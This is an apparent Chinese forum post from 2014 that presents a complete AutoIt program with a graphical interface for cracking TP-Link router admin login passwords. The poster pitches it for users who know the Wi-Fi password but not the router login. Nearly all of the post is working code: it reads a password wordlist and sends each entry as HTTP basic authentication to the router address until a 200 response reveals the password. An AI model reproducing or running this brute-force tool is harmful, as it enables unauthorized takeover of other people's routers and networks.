本帖最后由 user11 于 2014-6-27 23:52 编辑
这个是TPLINK路由器登陆密码自动破解。。。。调用字典破解路由器登陆密码,注意不是破解无线密码,这个可以用于知道无线密码但是不知道登陆密码,,
,自己解决了!代码改动一行就好!
#NoTrayIcon
#Region ;**** 参数创建于 ACNWrapper_GUI ****
#AutoIt3Wrapper_icon=..\..\..\..\WINDOWS\system32\SHELL32.dll|-172
#AutoIt3Wrapper_outfile=..\TPLINK登陆密码破解.EXE
#AutoIt3Wrapper_Res_Description=TPLINK路由器登陆密码破解
#AutoIt3Wrapper_Res_Fileversion=1.0.0.0
#AutoIt3Wrapper_Res_LegalCopyright=HTTP://www.ppoo.tk
#EndRegion ;**** 参数创建于 ACNWrapper_GUI ****
#include <WinHttp_GetRespond.au3>
#include <Array.au3>
#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#include <Misc.au3>
#include <Constants.au3> ; $TRAY_EVENT_PRIMARYDOUBLE 与 $TRAY_EVENT_SECONDARYUP 常量的需要.
If _Singleton("tplinkpass", 1) = 0 Then
MsgBox(16, "提示", "本程序已经在运行,本进程将自动退出!", 5)
Exit
EndIf
Opt("WinTitleMatchMode", 2)
Opt("WinSearchChildren", 1)
Opt("GUIOnEventMode", 1) ; 切换为 OnEvent 模式
Opt("TrayOnEventMode", 1)
Opt("TrayMenuMode", 3);;
TrayCreateItem("显示界面") ; 创建分隔线.
TrayItemSetOnEvent(-1, "showme")
TrayCreateItem("") ; 创建分隔线.
TrayCreateItem("访问官网")
TrayItemSetOnEvent(-1, "openweb")
TrayCreateItem("") ; 创建分隔线.
TrayCreateItem("退出程序")
TrayItemSetOnEvent(-1, "myexit")
TraySetOnEvent($TRAY_EVENT_PRIMARYDOUBLE, "TrayEvent")
;~ TraySetOnEvent($TRAY_EVENT_SECONDARYUP, "TrayEvent")
TraySetState(1) ; 显示托盘菜单.
$user = "admin"
$pass = "admin"
$routeip = "192.168.1.1"
$ok = 0
$n = 0
$zidian = @ScriptDir & "\zidian.txt"
Local $file = FileOpen($zidian, 0)
#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("TPLINK路由器登录密码破解", 270, 142, 227, 124)
GUISetOnEvent($GUI_EVENT_CLOSE, "CLOSEClicked")
GUICtrlCreateGroup("", 2, 1, 265, 138)
$Label1 = GUICtrlCreateLabel("TPLINK路由器登陆密码破解", 50, 10, 186, 17)
GUICtrlSetFont(-1, 10, 400, 0, "微软雅黑")
GUICtrlSetColor(-1, 0x0000FF)
$Label2 = GUICtrlCreateLabel("用户名:", 10, 35, 50, 17)
$Label3 = GUICtrlCreateLabel("IP地址:", 10, 59, 50, 17)
$Label4 = GUICtrlCreateLabel("字典:", 10, 94, 50, 17)
$Label5 = GUICtrlCreateLabel(" 欢迎访问官方网站 http://www.ppoo.tk", 30, 120, 296, 17)
GUICtrlSetOnEvent($Label5, "openweb")
GUICtrlSetCursor(-1, 0)
$Input1 = GUICtrlCreateInput("admin", 56, 32, 129, 21)
$Input2 = GUICtrlCreateInput("192.168.1.1", 56, 56, 129, 21)
$Input3 = GUICtrlCreateInput("", 56, 88, 129, 21)
$Button1 = GUICtrlCreateButton("破 解", 192, 31, 57, 49)
GUICtrlSetOnEvent($Button1, "Button1")
$Button2 = GUICtrlCreateButton("浏 览", 192, 87, 57, 25)
GUICtrlSetOnEvent($Button2, "Button2")
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
While 1
Sleep(10)
If $ok = 1 Then
Local $line = FileReadLine($file)
If @error = -1 Then
MsgBox(0, "错误", "字典测试完毕,未发现密码!")
$ok = 0
GUICtrlSetData($Button1, "破 解")
Else
$MyOpen = _WinHttpOpen()
$rContext = _WinHTTP_GetRespond($MyOpen, "http://" & $user & ":" & $line & "@" & $routeip)
If Not @error Then
$pjok = $rContext[1]
If $pjok = "200" Then
MsgBox(64, "恭喜", " 发现密码 " & $line)
$ok = 0
GUICtrlSetData($Button1, "破 解")
Else
TrayTip("破解中", $line,1)
EndIf
EndIf
EndIf
EndIf
WEnd
Func Button1()
If $ok = 0 Then
$user = GUICtrlRead($Input1)
$routeip = GUICtrlRead($Input2)
$zidian = GUICtrlRead($Input3)
If StringLen($user) < 4 Then
MsgBox(64, "提示", "请检查用户名格式")
ElseIf StringLen($routeip) < 10 Or Not StringInStr($routeip, ".", 2) Then
MsgBox(64, "提示", "请检查路由IP地址格式")
ElseIf StringLen($zidian) < 4 Then
MsgBox(64, "提示", "请检查字典路径")
Else
$file = FileOpen($zidian, 0)
If $file = -1 Then
MsgBox(0, "错误", "不能打开文件.")
Else
Global $ok = 1
GUICtrlSetData($Button1, "停 止")
EndIf
EndIf
Else
GUICtrlSetData($Button1, "破 解")
Global $ok = 0
EndIf
EndFunc ;==>Button1
Func Button2()
Local $var = FileOpenDialog("请选择密码字典文件", @DesktopDir & "\", "字典文件 (*.txt;*.dic)|所有文件 (*.*)", 1 + 2)
If @error Then
MsgBox(64, "提示", "没有选择文件!")
Else
GUICtrlSetData($Input3, $var)
EndIf
EndFunc ;==>Button2
Func CLOSEClicked()
;注意:此时 @GUI_CTRLID 的值将等价于 $GUI_EVENT_CLOSE,
;而 @GUI_WINHANDLE 则等价于 $mainwindow 或 $dummywindow
If @GUI_WinHandle = $Form1 Then
$tcmsg = MsgBox(4 + 64, "提示", "请确认是否退出本程序?" & @CRLF & @CRLF & "是 退出,否 最小化托盘")
If $tcmsg = 6 Then
Exit
Else
;~
GUISetState(@SW_HIDE)
EndIf
EndIf
EndFunc ;==>CLOSEClicked
Func TrayEvent()
Switch @TRAY_ID ; 检查最后一个托盘项目标识符.
Case $TRAY_EVENT_PRIMARYDOUBLE
GUISetState(@SW_SHOW)
WinSetState("TPLINK路由器登录密码破解", "", @SW_RESTORE)
EndSwitch
EndFunc ;==>TrayEvent
Func myexit()
Exit
EndFunc ;==>myexit
Func openweb()
ShellExecute("http://www.baidu.com/")
EndFunc ;==>openweb
Func showme()
GUISetState(@SW_SHOW)
EndFunc ;==>showme
|